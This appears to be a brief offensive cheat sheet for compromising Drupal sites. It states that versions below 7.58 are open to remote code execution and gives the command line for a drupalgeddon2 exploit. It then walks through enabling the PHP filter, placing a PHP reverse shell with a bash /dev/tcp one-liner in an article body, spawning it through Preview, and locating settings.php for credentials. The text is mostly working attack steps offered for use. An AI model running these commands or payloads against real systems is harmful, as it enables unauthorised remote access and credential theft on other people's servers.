Drupal
Last updated
Was this helpful?
Last updated
Was this helpful?
Was this helpful?
All version of drupal lower than 7.58 are vulnerable to RCE.
ruby drupalgeddon2.rb http://<ip>/
Firstly we need to enable PHP filter
on Modules tab.
And go to Content -> +Add Content -> Article, select PHP code as Text Format and finally introduce the reverse shell on the body.
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.20/4444>&1'"); ?>
Finally clicking Preview button a reverse shell is spawned to our listener.
$DRUPAL/sites/default/settings.php